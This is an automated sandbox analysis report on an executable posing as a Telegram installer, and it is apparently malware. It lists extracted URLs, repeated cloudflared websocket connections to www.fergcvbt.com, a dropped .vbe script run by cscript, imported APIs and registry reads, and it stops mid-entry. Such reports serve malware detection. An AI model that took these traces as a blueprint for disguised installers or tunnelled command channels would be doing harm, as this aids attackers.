"https://a.nel.cloudflare.com/report/v4?s=lw2sr4mnzep7ngolz7aewsxxggz5ohzlesoy04ej1xcxipcs5vchy%2fvxfgpdncir4zajy2fa7ilmuqcjgwcj3lpr267fsmnwwlrparhicnbd%2btffblvasxqdtffott7to57c" - Source: "00000000-00003244.00000002.116239.00400000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=y4ojmvlnq9nymxhareunv4ntp1iq2p0ofw02mwttiajguvq5yi7ichnvuym91fmahp4qdv3dyroatzc7sityq8dowvggf3crc1%2blpfoezhpjzma%2bk2fkalzsfsj7l3ssyfjy" - Source: "00000000-00003244.00000002.116239.00400000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0z6.@rcwygr" - Source: "00000000-00003244.00000002.116239.00400000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls13" - Source: "00000000-00003244.00000002.116239.00400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003244.00000002.116239.95A70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0z6.@rcwygr" - Source: "00000000-00003244.00000002.116239.95AF3000.00000004.mdmp") Found URL "ftp://ftp://\x3c$1scriptmailto://" - Source: "00000000-00006908.00000000.106801.73651000.00000020.mdmp") Found URL "http://www.dk-soft.org/" - Source: "00000000-00007176.00000000.107280.04D40000.00000004.mdmp") Found URL "https://desktop.telegram.orghttps://desktop.telegram.orghttps://desktop.telegram.org" - Source: "00000000-00007176.00000000.107280.04D40000.00000004.mdmp") Found URL "https://jrsoftware.org/ishelp/index.php?topic=setupcmdlinesetupkernel32.dllsoftware\microsoft\windows" - Source: "00000000-00007176.00000001.109201.00F01000.00000020.mdmp") Found URL "http://www.dk-soft.org/" - Source: "00000000-00007736.00000000.107379.04B00000.00000004.mdmp") Found URL "https://desktop.telegram.orghttps://desktop.telegram.orghttps://desktop.telegram.org" - Source: "00000000-00007736.00000000.107379.04B00000.00000004.mdmp") Found URL "http://www.dk-soft.org/" - Source: "00000000-00007736.00000001.109300.04B00000.00000004.mdmp") Found URL "https://desktop.telegram.orghttps://desktop.telegram.orghttps://desktop.telegram.org" - Source: "00000000-00007736.00000001.109300.04B00000.00000004.mdmp")5e:T13d4,GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1 Host: mozilla.cloudflare-dns.com accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Connection: Keep-Alive Accept-Encoding: gzip deflate Accept-Language: en-US * GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1 Host: mozilla.cloudflare-dns.com accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Connection: Keep-Alive Accept-Encoding: gzip deflate Accept-Language: en-US * GET /current4 HTTP/1.1 Host: td.telegram.org Connection: Keep-Alive Accept-Encoding: gzip deflate Accept-Language: en-US * User-Agent: Mozilla/5.0 GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: xijjbMNuZKcjIEfKaBdvMg== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: xEEVXz1Dv+hfNs0qNaa0zQ== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: YBm/a0Kef9S1LLsCTrSV0Q== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: e9y+HtBbs9V8q6X3S3Txcg== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: BQ27cqQYHImpo+96yeSLMQ== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: HG/hWhuP7zmGr/mh5jeF3w== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: uM/KFp81MvuyNGC4E0LV1g== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: t4rIMf9ly8l42FwRoLIL0Q== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: KHhGHmTE5kT1Jt9gOMNT9g== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: AU+meRZu6vVctPIChiAGaw== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: +jaW8zqGaM7Z0lJFKY+j3g== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: 2B528RGh63pDC7Xn/m2CZw== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: LkyMlDEJvgGIrQ7NSLTgIA== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: mG+sdR5lE/wFspACzFimMQ== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: r49PFyqupQ72ecdkXgAPDw== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: U4+pE6w188E52iIlgOtVGw== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: qiP2x1jwwDQDDuYqYAbVOA== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: I30VtZbQ+/gF4Z2szIMRpQ== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: D/qBTCuMuQI4mkJjGIrHXw== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: avc+gDjzs64jUD8uhGFtqA== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: wY4QZpGFlj48GbH5Ba8l2g== Sec-WebSocket-Version: 13 Upgrade: websocket GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: PL1QZVOQ+lKdUFrr+LlKaA== Sec-WebSocket-Version: 13 Upgrade: websocket 5f:Tc4c,Contains base62 string in header "gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mq" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base62 string in header "cMBb2ll0bb4hU8bmpWd0Sflt9IbNN2Ihg" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base62 string in header "L0jMSgKN11XriJlqUPBsg38jX54gTDkOw" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base62 string in header "SrQLtczNtgax2mp1TUyCX1tU3aTRIc85w" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base62 string in header "a7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Po" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*" Contains base62 string in header "bcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg" in header "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1Host: mozilla.cloudflare-dns.comaccept: application/dns-jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*"60:T5a9,Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: D5rra.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: D5rra.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: D5rra.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: D5rra.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: D5rra.tmp] Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: is-7JH8E.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: is-7JH8E.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: is-7JH8E.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: is-7JH8E.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: is-7JH8E.tmp]61:T8e1,"Telagrenn.exe" called "FindFirstFileA" with parameter %TEMP%\gentee2B\*.* (UID: 00000000-00002804) "Telagrenn.exe" called "FindFirstFileA" with parameter %APPDATA%\Telegram\adddf.vbe (UID: 00000000-00002804) "Telagrenn.exe" called "FindFirstFileA" with parameter %TEMP%\gentee2B\D5rra.exe (UID: 00000000-00002804) "Telagrenn.exe" called "FindFirstFileA" with parameter %TEMP%\gentee2B\tsetup-x64.7.0.2.exe (UID: 00000000-00002804) "Telagrenn.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002804) "Telagrenn.exe" called "FindNextFileA" with parameter guig.dll (UID: 00000000-00002804) "Telagrenn.exe" called "FindNextFileA" with parameter setup_temp.gea (UID: 00000000-00002804) "Telagrenn.exe" called "FindNextFileA" with parameter tsetup-x64.7.0.2.exe (UID: 00000000-00002804) "tsetup-x64.7.0.2.exe" called "FindFirstFileW" with parameter %TEMP%\gentee2B\tsetup-x64.7.0.2.en-US (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "FindFirstFileW" with parameter %TEMP%\gentee2B\tsetup-x64.7.0.2.en (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "FindFirstFileW" with parameter %TEMP%\gentee2B\tsetup-x64.7.0.2.ENU (UID: 00000000-00007176) "tsetup-x64.7.0.2.exe" called "FindFirstFileW" with parameter %TEMP%\gentee2B\tsetup-x64.7.0.2.EN (UID: 00000000-00007176) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.en-US (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.en (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.ENU (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.EN (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %TEMP%\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %APPDATA%\Telegram Desktop\unins???.* (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindFirstFileW" with parameter %TEMP%\is-BHBL5.tmp\* (UID: 00000000-00007736) "tsetup-x64.7.0.2.tmp" called "FindNextFileW" with parameter .. (UID: 00000000-00007736)62:Tc91,file/memory contains long string with (Indicator: "aes"; File: "cache_24_0") file/memory contains long string with (Indicator: "aes"; File: "cache_18_0") file/memory contains long string with (Indicator: "aes"; File: "cache_18_1") Found string "System.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00001040.00000000.110716.755D0000.00000002.mdmp") Found string "System.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00001040.00000000.110716.755D0000.00000002.mdmp") Found string "System.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001040.00000000.110716.755D0000.00000002.mdmp") Found string "System.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00001040.00000000.110716.755D0000.00000002.mdmp") Found string "id-smime-alg-CMS3DESwrap" (Indicator: "3des"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES192" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES192" (Indicator: "aes192"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES256" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES256" (Indicator: "aes256"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES128" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES128" (Indicator: "aes128"; Source: "00000000-00001040.00000000.110716.75670000.00000004.mdmp") Found string "AES-192-CBC-CTS" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-128-OFB" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-128-CFB" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-192-CFB1" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-128-CFB1" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-128-CBC-CTS" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-256-CBC" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-192-CFB" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-256-ECB" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-256-CBC-CTS" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-192-ECB" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-256-CFB1" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-128-ECB" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp") Found string "AES-128-CBC" (Indicator: "aes"; Source: "00000000-00001040.00000000.110716.75698000.00000004.mdmp")63:T4c3,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "Telagrenn.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "Telagrenn.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "Telagrenn.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "Telagrenn.exe") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "Telagrenn.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "Telagrenn.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "Telagrenn.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "Telagrenn.exe") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "Telagrenn.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "Telagrenn.exe") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "Telagrenn.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "Telagrenn.exe")64:T592,Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\Telegram.exe" (Indicator: "\Device\"; Source: "00000000-00001040.00000000.110716.73370000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001040.00000000.110716.73370000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Roaming\Telegram Desktop\Telegram.exe" (Indicator: "\Device\"; Source: "00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp") Found string "\Device\HarddiskVolume1" (Indicator: "\Device\"; Source: "00000000-00002316.00000000.110315.25280000.00000004.mdmp, 00000000-00002316.00000001.112236.25280000.00000004.mdmp, 00000000-00002316.00000002.114156.25280000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp, 00000000-00002316.00000001.112236.273F0000.00000004.mdmp, 00000000-00002316.00000002.114156.273F0000.00000004.mdmp")65:Tbfa,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: guig.dll] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: guig.dll] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: guig.dll] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: guig.dll] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: guig.dll] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: D5rra.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: D5rra.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: D5rra.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: D5rra.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: D5rra.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: D5rra.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: D5rra.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: is-7JH8E.tmp] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: is-7JH8E.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: is-7JH8E.tmp] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: is-7JH8E.tmp] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: is-7JH8E.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: is-7JH8E.tmp] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: is-7JH8E.tmp] Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: _setup64.tmp] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: _setup64.tmp] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: _setup64.tmp]66:Te66,"Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CSCRIPT.EXE"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\GENTEE2B\TSETUP-X64.7.0.2.EXE"; Value: "") "Telagrenn.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\GENTEE2B\D5RRA.EXE"; Value: "") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "cscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "tsetup-x64.7.0.2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IS-MJMQ8.TMP\TSETUP-X64.7.0.2.TMP"; Value: "") "tsetup-x64.7.0.2.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "tsetup-x64.7.0.2.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\TELEGRAM DESKTOP\TELEGRAM.EXE"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Telegram.exe" (Access type: "QUERYVAL"; Path: 